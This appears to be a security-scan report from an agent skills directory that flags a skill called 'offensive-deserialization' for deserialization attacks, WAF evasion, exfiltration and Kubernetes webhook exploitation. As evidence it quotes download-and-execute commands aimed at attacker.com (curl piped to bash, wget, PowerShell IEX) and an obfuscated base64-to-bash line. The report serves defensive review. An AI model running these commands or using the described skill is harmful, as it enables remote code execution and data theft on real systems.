The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains several commands that download and execute code from an untrusted remote server (attacker.com).\n
Evidence: curl http://attacker.com/s.sh|bash in SKILL.md\n
Evidence: wget http://attacker.com/s.sh -O /tmp/s.sh in SKILL.md\n
Evidence: IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1') in SKILL.md\n- [COMMAND_EXECUTION]: Extensive instructions are provided for generating payloads that execute arbitrary shell commands (e.g., id, whoami, ping, calc.exe) on systems using deserialization gadgets from tools like ysoserial and phpggc.\n- [DATA_EXFILTRATION]: Multiple payload examples demonstrate exfiltrating data or signaling successful execution to an external domain (attacker.com) via curl callbacks and DNS lookups.\n- [OBFUSCATION]: The skill details WAF evasion techniques such as double Base64 encoding, Gzip compression, and Unicode escaping of class names within JSON payloads. It also demonstrates shell command obfuscation using brace expansion: bash -c {echo,BASE64}|{base64,-d}|bash.\n- [DYNAMIC_EXECUTION]: The core focus of the skill is abusing the deserialization of untrusted data to achieve arbitrary code execution. It provides specific gadget chains for common frameworks such as Spring, Hibernate, and Laravel.\n- [PRIVILEGE_ESCALATION]: The instructions identify Kubernetes Admission Webhooks as an attack surface where exploitation can lead to cluster-level RCE with elevated permissions.

offensive-deserialization